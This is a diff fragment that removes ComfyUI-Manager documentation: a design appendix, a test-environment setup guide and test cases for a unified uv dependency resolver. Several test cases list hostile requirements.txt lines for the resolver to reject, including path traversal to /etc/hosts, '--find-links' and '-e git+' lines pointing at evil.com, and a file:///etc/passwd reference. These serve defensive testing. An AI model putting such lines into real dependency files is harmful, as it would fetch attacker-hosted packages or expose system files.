- Dependency tree visualization: Display dependency relationships to users
|
||||
- `uv lock`-based cross-platform lockfile support (TOML format)
|
||||
- `install_manager_requirements()` integration: Resolve manager's own dependencies through unified resolver
|
||||
- `pip_install()` integration: Route UI direct installs through unified resolver
|
||||
- Legacy module (`comfyui_manager/legacy/`) unified resolver support
|
||||
|
||||
---
|
||||
|
||||
## Appendix A: Existing Code Install Path Mapping
|
||||
|
||||
> This section is reference material to clarify the unified resolver's scope of application.
|
||||
|
||||
| Install Path | Location | v1 Applied | Notes |
|
||||
|-------------|----------|------------|-------|
|
||||
| `UnifiedManager.execute_install_script()` | `glob/manager_core.py` (method) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| Standalone `execute_install_script()` | `glob/manager_core.py` (function) | ✅ Yes | Skips per-node pip in unified mode (deps deferred to restart) |
|
||||
| `execute_lazy_install_script()` | `prestartup_script.py` | ✅ Yes | Skips per-node pip in unified mode (already batch-resolved) |
|
||||
| Startup batch resolver | `prestartup_script.py` | ✅ Yes | **New**: Runs unified resolver once at startup for all node packs |
|
||||
| `install_manager_requirements()` | `glob/manager_core.py` | ❌ No | Manager's own deps |
|
||||
| `pip_install()` | `glob/manager_core.py` | ❌ No | UI direct install |
|
||||
| Legacy `execute_install_script()` (2 locations) | `legacy/manager_core.py` | ❌ No | Legacy paths |
|
||||
| `cm_cli uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Standalone CLI batch resolution (with `cm_global` values) |
|
||||
| `cm_cli install --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all installs |
|
||||
| `cm_cli reinstall --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all reinstalls; mutually exclusive with `--no-deps` |
|
||||
| `cm_cli update --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during updates, batch resolution after |
|
||||
| `cm_cli fix --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during dep fix, batch resolution after |
|
||||
| `cm_cli restore-snapshot --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped during restore, batch resolution after |
|
||||
| `cm_cli restore-dependencies --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after all node deps restored |
|
||||
| `cm_cli install-deps --uv-compile` | `cm_cli/__main__.py` | ✅ Yes | Per-node pip skipped, batch resolution after deps-spec install |
|
||||
@@ -1,194 +0,0 @@
|
||||
# Test Environment Setup
|
||||
|
||||
Procedures for setting up a ComfyUI environment with ComfyUI-Manager installed for functional testing.
|
||||
|
||||
## Automated Setup (Recommended)
|
||||
|
||||
Three shell scripts in `tests/e2e/scripts/` automate the entire lifecycle:
|
||||
|
||||
```bash
|
||||
# 1. Setup: clone ComfyUI, create venv, install deps, symlink Manager
|
||||
E2E_ROOT=/tmp/e2e_test MANAGER_ROOT=/path/to/comfyui-manager-draft4 \
|
||||
bash tests/e2e/scripts/setup_e2e_env.sh
|
||||
|
||||
# 2. Start: launches ComfyUI in background, blocks until ready
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/start_comfyui.sh
|
||||
|
||||
# 3. Stop: graceful SIGTERM → SIGKILL shutdown
|
||||
E2E_ROOT=/tmp/e2e_test bash tests/e2e/scripts/stop_comfyui.sh
|
||||
|
||||
# 4. Cleanup
|
||||
rm -rf /tmp/e2e_test
|
||||
```
|
||||
|
||||
### Script Details
|
||||
|
||||
| Script | Purpose | Input | Output |
|
||||
|--------|---------|-------|--------|
|
||||
| `setup_e2e_env.sh` | Full environment setup (8 steps) | `E2E_ROOT`, `MANAGER_ROOT`, `COMFYUI_BRANCH` (default: master), `PYTHON` (default: python3) | `E2E_ROOT=<path>` on last line |
|
||||
| `start_comfyui.sh` | Foreground-blocking launcher | `E2E_ROOT`, `PORT` (default: 8199), `TIMEOUT` (default: 120s) | `COMFYUI_PID=<pid> PORT=<port>` |
|
||||
| `stop_comfyui.sh` | Graceful shutdown | `E2E_ROOT`, `PORT` (default: 8199) | — |
|
||||
|
||||
**Idempotent**: `setup_e2e_env.sh` checks for a `.e2e_setup_complete` marker file and skips setup if the environment already exists.
|
||||
|
||||
**Blocking mechanism**: `start_comfyui.sh` uses `tail -n +1 -f | grep -q -m1 'To see the GUI'` to block until ComfyUI is ready. No polling loop needed.
|
||||
|
||||
---
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+
|
||||
- Git
|
||||
- `uv` (install via `pip install uv` or [standalone](https://docs.astral.sh/uv/getting-started/installation/))
|
||||
|
||||
## Manual Setup (Reference)
|
||||
|
||||
For understanding or debugging, the manual steps are documented below. The automated scripts execute these same steps.
|
||||
|
||||
### 1. ComfyUI Clone
|
||||
|
||||
```bash
|
||||
COMFY_ROOT=$(mktemp -d)/ComfyUI
|
||||
git clone https://github.com/comfyanonymous/ComfyUI.git "$COMFY_ROOT"
|
||||
cd "$COMFY_ROOT"
|
||||
```
|
||||
|
||||
### 2. Virtual Environment
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
uv venv .venv
|
||||
source .venv/bin/activate # Linux/macOS
|
||||
# .venv\Scripts\activate # Windows
|
||||
```
|
||||
|
||||
### 3. ComfyUI Dependencies
|
||||
|
||||
```bash
|
||||
# GPU (CUDA)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cu121
|
||||
|
||||
# CPU only (lightweight, for functional testing)
|
||||
uv pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu
|
||||
```
|
||||
|
||||
### 4. ComfyUI-Manager Install (Development)
|
||||
|
||||
```bash
|
||||
# MANAGER_ROOT = comfyui-manager-draft4 repository root
|
||||
MANAGER_ROOT=/path/to/comfyui-manager-draft4
|
||||
|
||||
# Editable install from current source
|
||||
uv pip install -e "$MANAGER_ROOT"
|
||||
```
|
||||
|
||||
> **Note**: Editable mode (`-e`) reflects code changes without reinstalling.
|
||||
> For production-like testing, use `uv pip install "$MANAGER_ROOT"` (non-editable).
|
||||
|
||||
### 5. Symlink Manager into custom_nodes
|
||||
|
||||
```bash
|
||||
ln -s "$MANAGER_ROOT" "$COMFY_ROOT/custom_nodes/ComfyUI-Manager"
|
||||
```
|
||||
|
||||
### 6. Write config.ini
|
||||
|
||||
```bash
|
||||
mkdir -p "$COMFY_ROOT/user/__manager"
|
||||
cat > "$COMFY_ROOT/user/__manager/config.ini" << 'EOF'
|
||||
[default]
|
||||
use_uv = true
|
||||
use_unified_resolver = true
|
||||
EOF
|
||||
```
|
||||
|
||||
> **IMPORTANT**: The config path is `$COMFY_ROOT/user/__manager/config.ini`, resolved by `folder_paths.get_system_user_directory("manager")`. It is NOT inside the symlinked Manager directory.
|
||||
|
||||
### 7. HOME Isolation
|
||||
|
||||
```bash
|
||||
export HOME=/tmp/e2e_home
|
||||
mkdir -p "$HOME/.config" "$HOME/.local/share"
|
||||
```
|
||||
|
||||
### 8. ComfyUI Launch
|
||||
|
||||
```bash
|
||||
cd "$COMFY_ROOT"
|
||||
PYTHONUNBUFFERED=1 python main.py --enable-manager --cpu --port 8199
|
||||
```
|
||||
|
||||
| Flag | Purpose |
|
||||
|------|---------|
|
||||
| `--enable-manager` | Enable ComfyUI-Manager (disabled by default) |
|
||||
| `--cpu` | Run without GPU (for functional testing) |
|
||||
| `--port 8199` | Use non-default port to avoid conflicts |
|
||||
| `--enable-manager-legacy-ui` | Enable legacy UI (optional) |
|
||||
| `--listen` | Allow remote connections (optional) |
|
||||
|
||||
### Key Directories
|
||||
|
||||
| Directory | Path | Description |
|
||||
|-----------|------|-------------|
|
||||
| ComfyUI root | `$COMFY_ROOT/` | ComfyUI installation root |
|
||||
| Manager data | `$COMFY_ROOT/user/__manager/` | Manager config, startup scripts, snapshots |
|
||||
| Config file | `$COMFY_ROOT/user/__manager/config.ini` | Manager settings (`use_uv`, `use_unified_resolver`, etc.) |
|
||||
| custom_nodes | `$COMFY_ROOT/custom_nodes/` | Installed node packs |
|
||||
|
||||
> The Manager data path is resolved via `folder_paths.get_system_user_directory("manager")`.
|
||||
> Printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
### Startup Sequence
|
||||
|
||||
When Manager loads successfully, the following log lines appear:
|
||||
|
||||
```
|
||||
[PRE] ComfyUI-Manager # prestartup_script.py executed
|
||||
[START] ComfyUI-Manager # manager_server.py loaded
|
||||
```
|
||||
|
||||
The `Blocked by policy` message for Manager in custom_nodes is **expected** — `should_be_disabled()` in `comfyui_manager/__init__.py` prevents legacy double-loading when Manager is already pip-installed.
|
||||
|
||||
---
|
||||
|
||||
## Caveats & Known Issues
|
||||
|
||||
### PYTHONPATH for `comfy` imports
|
||||
|
||||
ComfyUI's `comfy` package is a **local package** inside the ComfyUI directory — it is NOT pip-installed. Any code that imports from `comfy` (including `comfyui_manager.__init__`) requires `PYTHONPATH` to include the ComfyUI directory:
|
||||
|
||||
```bash
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfy"
|
||||
PYTHONPATH="$COMFY_ROOT" python -c "import comfyui_manager"
|
||||
```
|
||||
|
||||
The automated scripts handle this via `PYTHONPATH` in verification checks and the ComfyUI process inherits it implicitly by running from the ComfyUI directory.
|
||||
|
||||
### config.ini path
|
||||
|
||||
The config file must be at `$COMFY_ROOT/user/__manager/config.ini`, **NOT** inside the Manager symlink directory. This is resolved by `folder_paths.get_system_user_directory("manager")` at `prestartup_script.py:65-73`.
|
||||
|
||||
### Manager v4 endpoint prefix
|
||||
|
||||
All Manager endpoints use the `/v2/` prefix (e.g., `/v2/manager/queue/status`, `/v2/snapshot/get_current`). Paths without the prefix will return 404.
|
||||
|
||||
### `Blocked by policy` is expected
|
||||
|
||||
When Manager detects that it's loaded as a custom_node but is already pip-installed, it prints `Blocked by policy` and skips legacy loading. This is intentional behavior in `comfyui_manager/__init__.py:39-51`.
|
||||
|
||||
### Bash `((var++))` trap
|
||||
|
||||
Under `set -e`, `((0++))` evaluates the pre-increment value (0), and `(( 0 ))` returns exit code 1, killing the script. Use `var=$((var + 1))` instead.
|
||||
|
||||
### `git+https://` URLs in requirements.txt
|
||||
|
||||
Some node packs (e.g., Impact Pack's SAM2 dependency) use `git+https://github.com/...` URLs. The unified resolver correctly rejects these with "rejected path separator" — they must be installed separately.
|
||||
|
||||
---
|
||||
|
||||
## Cleanup
|
||||
|
||||
```bash
|
||||
deactivate
|
||||
rm -rf "$COMFY_ROOT"
|
||||
```
|
||||
@@ -1,788 +0,0 @@
|
||||
# Test Cases: Unified Dependency Resolver
|
||||
|
||||
See [TEST-environment-setup.md](TEST-environment-setup.md) for environment setup.
|
||||
|
||||
## Enabling the Resolver
|
||||
|
||||
Add the following to `config.ini` (in the Manager data directory):
|
||||
|
||||
```ini
|
||||
[default]
|
||||
use_unified_resolver = true
|
||||
```
|
||||
|
||||
> Config path: `$COMFY_ROOT/user/__manager/config.ini`
|
||||
> Also printed at startup: `** ComfyUI-Manager config path: <path>/config.ini`
|
||||
|
||||
**Log visibility note**: `[UnifiedDepResolver]` messages are emitted via Python's `logging` module (INFO and WARNING levels), not `print()`. Ensure the logging level is set to INFO or lower. ComfyUI defaults typically show these, but if messages are missing, check that the root logger or the `ComfyUI-Manager` logger is not set above INFO.
|
||||
|
||||
## API Reference (for Runtime Tests)
|
||||
|
||||
Node pack installation at runtime uses the task queue API:
|
||||
|
||||
```
|
||||
POST http://localhost:8199/v2/manager/queue/task
|
||||
Content-Type: application/json
|
||||
```
|
||||
|
||||
> **Port**: E2E tests use port 8199 to avoid conflicts with running ComfyUI instances. Replace with your actual port if different.
|
||||
|
||||
**Payload** (`QueueTaskItem`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `ui_id` | string | Unique task identifier (any string) |
|
||||
| `client_id` | string | Client identifier (any string) |
|
||||
| `kind` | `OperationType` enum | `"install"`, `"uninstall"`, `"update"`, `"update-comfyui"`, `"fix"`, `"disable"`, `"enable"`, `"install-model"` |
|
||||
| `params` | object | Operation-specific parameters (see below) |
|
||||
|
||||
**Install params** (`InstallPackParams`):
|
||||
|
||||
| Field | Type | Description |
|
||||
|-------|------|-------------|
|
||||
| `id` | string | CNR node pack ID (e.g., `"comfyui-impact-pack"`) or `"author/repo"` |
|
||||
| `version` | string | Required by model. Set to same value as `selected_version`. |
|
||||
| `selected_version` | string | **Controls install target**: `"latest"`, `"nightly"`, or specific semver |
|
||||
| `mode` | string | `"remote"`, `"local"`, or `"cache"` |
|
||||
| `channel` | string | `"default"`, `"recent"`, `"legacy"`, etc. |
|
||||
|
||||
> **Note**: `cm_cli` supports unified resolver via `cm_cli uv-compile` (standalone) and
|
||||
> `cm_cli install --uv-compile` (install-time batch resolution). Without `--uv-compile`,
|
||||
> installs use per-node pip via `legacy/manager_core.py`.
|
||||
|
||||
---
|
||||
|
||||
## Out of Scope (Deferred)
|
||||
|
||||
The following are intentionally **not tested** in this version:
|
||||
|
||||
- **cm_global integration (startup path only)**: At startup (`prestartup_script.py`), `pip_blacklist`, `pip_overrides`, `pip_downgrade_blacklist` are passed as empty defaults to the resolver. Integration with cm_global at startup is deferred to a future commit. Do not file defects for blacklist/override/downgrade behavior in startup unified mode. Note: `cm_cli uv-compile` and `cm_cli install --uv-compile` already pass real `cm_global` values (see PRD Future Extensions).
|
||||
- **cm_cli per-node install (without --uv-compile)**: `cm_cli install` without `--uv-compile` imports from `legacy/manager_core.py` and uses per-node pip install. This is by design — use `cm_cli install --uv-compile` or `cm_cli uv-compile` for batch resolution.
|
||||
- **Standalone `execute_install_script()`** (`glob/manager_core.py` ~line 1881): Has a unified resolver guard (`manager_util.use_unified_resolver`), identical to the class method guard. Reachable from the glob API via `update-comfyui` tasks (`update_path()` / `update_to_stable_comfyui()`), git-based node pack updates (`git_repo_update_check_with()` / `fetch_or_pull_git_repo()`), and gitclone operations. Also called from CLI and legacy server paths. The guard behaves identically to the class method at all call sites; testing it separately adds no coverage beyond TC-14 Path 1.
|
||||
|
||||
## CLI E2E Tests (`cm_cli uv-compile`)
|
||||
|
||||
These tests do **not** require ComfyUI server. Only a venv with `COMFYUI_PATH` set and
|
||||
the E2E environment from `setup_e2e_env.sh` are needed.
|
||||
|
||||
**Common setup**:
|
||||
```bash
|
||||
source tests/e2e/scripts/setup_e2e_env.sh # → E2E_ROOT=...
|
||||
export COMFYUI_PATH="$E2E_ROOT/comfyui"
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-1: Normal Batch Resolution [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a test node pack with a simple dependency:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_cli_pack"
|
||||
echo "chardet>=5.0" > "$COMFYUI_PATH/custom_nodes/test_cli_pack/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- `chardet` is importable: `$VENV_PY -c "import chardet"`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_cli_pack"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-2: No Custom Node Packs [P1]
|
||||
|
||||
**Steps**:
|
||||
1. Ensure `custom_nodes/` contains no node packs (only symlinks like `ComfyUI-Manager`
|
||||
or empty dirs may remain)
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `No custom node packs found` OR `Resolution complete (no deps needed)`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-3: uv Unavailable [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a temporary venv **without** uv:
|
||||
```bash
|
||||
python3 -m venv /tmp/no_uv_venv
|
||||
/tmp/no_uv_venv/bin/pip install comfyui-manager # or install from local
|
||||
```
|
||||
2. Ensure no standalone `uv` in PATH:
|
||||
```bash
|
||||
PATH="/tmp/no_uv_venv/bin" COMFYUI_PATH="$COMFYUI_PATH" \
|
||||
/tmp/no_uv_venv/bin/python -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `uv is not available`
|
||||
|
||||
**Cleanup**: `rm -rf /tmp/no_uv_venv`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-4: Conflicting Dependencies [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create two node packs with conflicting pinned versions:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_a"
|
||||
echo "numpy==1.24.0" > "$COMFYUI_PATH/custom_nodes/conflict_a/requirements.txt"
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/conflict_b"
|
||||
echo "numpy==1.26.0" > "$COMFYUI_PATH/custom_nodes/conflict_b/requirements.txt"
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 1
|
||||
- Output contains: `Resolution failed`
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/conflict_a" "$COMFYUI_PATH/custom_nodes/conflict_b"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-5: Dangerous Pattern Skip [P0]
|
||||
|
||||
**Steps**:
|
||||
1. Create a node pack mixing valid and dangerous lines:
|
||||
```bash
|
||||
mkdir -p "$COMFYUI_PATH/custom_nodes/test_dangerous"
|
||||
cat > "$COMFYUI_PATH/custom_nodes/test_dangerous/requirements.txt" << 'EOF'
|
||||
chardet>=5.0
|
||||
-r ../../../etc/hosts
|
||||
--find-links http://evil.com/pkgs
|
||||
requests>=2.28
|
||||
EOF
|
||||
```
|
||||
2. Run:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli uv-compile
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Output contains: `Resolved 2 deps` (chardet + requests, dangerous lines skipped)
|
||||
- `chardet` and `requests` are importable
|
||||
- Log contains: `rejected dangerous line` for the `-r` and `--find-links` lines
|
||||
|
||||
**Cleanup**: `rm -rf "$COMFYUI_PATH/custom_nodes/test_dangerous"`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-6: install --uv-compile Single Pack [P0]
|
||||
|
||||
**Steps**:
|
||||
1. In clean E2E environment, install a single node pack:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Per-node pip install does NOT run (no `Install: pip packages` in output)
|
||||
- `install.py` still executes
|
||||
- Output contains: `Resolved N deps from M source(s)`
|
||||
- Impact Pack dependencies are importable: `cv2`, `skimage`, `dill`, `scipy`, `matplotlib`
|
||||
|
||||
---
|
||||
|
||||
### TC-CLI-7: install --uv-compile Multiple Packs [P0]
|
||||
|
||||
**Steps**:
|
||||
1. After TC-CLI-6 (or with impact-pack already installed), install two more packs at once:
|
||||
```bash
|
||||
$VENV_PY -m cm_cli install comfyui-impact-subpack comfyui-inspire-pack --uv-compile --mode remote
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- Exit code: 0
|
||||
- Both packs installed: `[INSTALLED] comfyui-impact-subpack`, `[INSTALLED] comfyui-inspire-pack`
|
||||
- Batch resolution runs once (not twice) after all installs complete
|
||||
- Resolves deps for **all** installed packs (impact + subpack + inspire + manager)
|
||||
- New dependencies importable: `cachetools`, `webcolors`, `piexif`
|
||||
- Previously installed deps (from step 1) remain intact
|
||||
|
||||
---
|
||||
|
||||
## Test Fixture Setup
|
||||
|
||||
Each TC that requires node packs should use isolated, deterministic fixtures:
|
||||
|
||||
```bash
|
||||
# Create test node pack
|
||||
mkdir -p "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
echo "chardet>=5.0" > "$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt"
|
||||
|
||||
# Cleanup after test
|
||||
rm -rf "$COMFY_ROOT/custom_nodes/test_pack_a"
|
||||
```
|
||||
|
||||
Ensure no other node packs in `custom_nodes/` interfere with expected counts. Use a clean `custom_nodes/` directory or account for existing packs in assertions.
|
||||
|
||||
---
|
||||
|
||||
## TC-1: Normal Batch Resolution [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv installed, at least one node pack with `requirements.txt`
|
||||
|
||||
**Steps**:
|
||||
1. Create `$COMFY_ROOT/custom_nodes/test_pack_a/requirements.txt` with content: `chardet>=5.0`
|
||||
2. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] Collected N deps from M sources (skipped 0)
|
||||
[UnifiedDepResolver] running: ... uv pip compile ...
|
||||
[UnifiedDepResolver] running: ... uv pip install ...
|
||||
[UnifiedDepResolver] startup batch resolution succeeded
|
||||
```
|
||||
|
||||
**Verify**: Neither `Install: pip packages for` nor `Install: pip packages` appears in output (both per-node pip variants must be absent)
|
||||
|
||||
---
|
||||
|
||||
## TC-2: Disabled State (Default) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = false` or key absent from config.ini
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Verify**: No `[UnifiedDepResolver]` log output at all
|
||||
|
||||
---
|
||||
|
||||
## TC-3: Fallback When uv Unavailable [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, uv completely unavailable
|
||||
|
||||
**Steps**:
|
||||
1. Create a venv **without** uv installed (`uv` package not in venv)
|
||||
2. Ensure no standalone `uv` binary exists in `$PATH` (rename or use isolated `$PATH`)
|
||||
3. Start ComfyUI
|
||||
|
||||
```bash
|
||||
# Reliable uv removal: both module and binary must be absent
|
||||
uv pip uninstall uv
|
||||
# Verify neither path works
|
||||
python -m uv --version 2>&1 | grep -q "No module" && echo "module uv: absent"
|
||||
which uv 2>&1 | grep -q "not found" && echo "binary uv: absent"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] uv not available at startup, falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Subsequent node pack installations use per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-4: Fallback on Compile Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, conflicting dependencies
|
||||
|
||||
**Steps**:
|
||||
1. Node pack A `requirements.txt`: `numpy==1.24.0`
|
||||
2. Node pack B `requirements.txt`: `numpy==1.26.0`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup batch failed: compile failed: ..., falling back to per-node pip
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install normally
|
||||
|
||||
---
|
||||
|
||||
## TC-5: Fallback on Install Failure [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, compile succeeds but install fails
|
||||
|
||||
**Steps**:
|
||||
1. Create node pack with `requirements.txt`: `numpy<2`
|
||||
2. Force install failure by making the venv's `site-packages` read-only:
|
||||
```bash
|
||||
chmod -R a-w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
3. Start ComfyUI
|
||||
4. After test, restore permissions:
|
||||
```bash
|
||||
chmod -R u+w "$(python -c 'import site; print(site.getsitepackages()[0])')"
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] startup batch failed: ..., falling back to per-node pip
|
||||
```
|
||||
> The `...` contains raw stderr from `uv pip install` (e.g., permission denied errors).
|
||||
|
||||
**Verify**:
|
||||
- `manager_util.use_unified_resolver` is reset to `False`
|
||||
- Falls back to per-node pip install
|
||||
|
||||
---
|
||||
|
||||
## TC-6: install.py Execution Preserved [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, ComfyUI running with batch resolution succeeded
|
||||
|
||||
**Steps**:
|
||||
1. While ComfyUI is running, install a node pack that has both `install.py` and `requirements.txt` via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-installpy",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id-with-install-py>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
"channel": "default"
|
||||
}
|
||||
}'
|
||||
```
|
||||
> Choose a CNR node pack known to have both `install.py` and `requirements.txt`.
|
||||
> Alternatively, use the Manager UI to install the same pack.
|
||||
|
||||
2. Check logs after installation
|
||||
|
||||
**Verify**:
|
||||
- `Install: install script` is printed (install.py runs immediately during install)
|
||||
- `Install: pip packages` does NOT appear (deps deferred, not installed per-node)
|
||||
- Log: `[UnifiedDepResolver] deps deferred to startup batch resolution for <path>`
|
||||
- After **restart**, the new pack's deps are included in batch resolution (`Collected N deps from M sources`)
|
||||
|
||||
---
|
||||
|
||||
## TC-7: Dangerous Pattern Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Include any of the following in a node pack's `requirements.txt`:
|
||||
```
|
||||
-r ../../../etc/hosts
|
||||
--requirement secret.txt
|
||||
-e git+https://evil.com/repo
|
||||
--editable ./local
|
||||
-c constraint.txt
|
||||
--constraint external.txt
|
||||
--find-links http://evil.com/pkgs
|
||||
-f http://evil.com/pkgs
|
||||
evil_pkg @ file:///etc/passwd
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected dangerous line: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Dangerous lines are skipped; remaining valid deps are installed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-8: Path Separator Rejection [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
../evil/pkg
|
||||
bad\pkg
|
||||
./local_package
|
||||
```
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] rejected path separator: '...' from <path>
|
||||
```
|
||||
|
||||
**Verify**: Lines with `/` or `\` in the package name portion are rejected; valid deps on other lines are processed normally
|
||||
|
||||
---
|
||||
|
||||
## TC-9: --index-url / --extra-index-url Separation [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
Test all four inline forms:
|
||||
|
||||
| # | `requirements.txt` content | Expected package | Expected URL |
|
||||
|---|---------------------------|-----------------|--------------|
|
||||
| a | `torch --index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| b | `torch --extra-index-url https://example.com/whl` | `torch` | `https://example.com/whl` |
|
||||
| c | `--index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
| d | `--extra-index-url https://example.com/whl` (standalone) | *(none)* | `https://example.com/whl` |
|
||||
|
||||
**Steps**: Create a node pack with each variant (one at a time or combined with a valid package on a separate line)
|
||||
|
||||
**Verify**:
|
||||
- Package spec is correctly extracted (or empty for standalone lines)
|
||||
- URL is passed as `--extra-index-url` to `uv pip compile`
|
||||
- Duplicate URLs across multiple node packs are deduplicated
|
||||
- Log: `[UnifiedDepResolver] extra-index-url: <url>`
|
||||
|
||||
---
|
||||
|
||||
## TC-10: Credential Redaction [P0]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Node pack `requirements.txt`:
|
||||
```
|
||||
private-pkg --index-url https://user:token123@pypi.private.com/simple
|
||||
```
|
||||
|
||||
**Verify**:
|
||||
- `user:token123` does NOT appear in logs
|
||||
- Masked as `****@` in log output
|
||||
|
||||
---
|
||||
|
||||
## TC-11: Disabled Node Packs Excluded [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`
|
||||
|
||||
**Steps**: Test both disabled styles:
|
||||
1. New style: `custom_nodes/.disabled/test_pack/requirements.txt` with content: `numpy`
|
||||
2. Old style: `custom_nodes/test_pack.disabled/requirements.txt` with content: `requests`
|
||||
3. Start ComfyUI
|
||||
|
||||
**Verify**: Neither disabled node pack's deps are collected (not included in `Collected N`)
|
||||
|
||||
---
|
||||
|
||||
## TC-12: No Dependencies [P2]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, only node packs without `requirements.txt`
|
||||
|
||||
**Steps**: Start ComfyUI
|
||||
|
||||
**Expected log**:
|
||||
```
|
||||
[UnifiedDepResolver] No dependencies to resolve
|
||||
```
|
||||
|
||||
**Verify**: Compile/install steps are skipped; startup completes normally
|
||||
|
||||
---
|
||||
|
||||
## TC-13: Runtime Node Pack Install (Defer Behavior) [P1]
|
||||
|
||||
**Precondition**: `use_unified_resolver = true`, batch resolution succeeded at startup
|
||||
|
||||
**Steps**:
|
||||
1. Start ComfyUI and confirm batch resolution succeeds
|
||||
2. While ComfyUI is running, install a new node pack via API:
|
||||
```bash
|
||||
curl -X POST http://localhost:8199/v2/manager/queue/task \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{
|
||||
"ui_id": "test-defer-1",
|
||||
"client_id": "test-client",
|
||||
"kind": "install",
|
||||
"params": {
|
||||
"id": "<node-pack-id>",
|
||||
"version": "latest",
|
||||
"selected_version": "latest",
|
||||
"mode": "remote",
|
||||
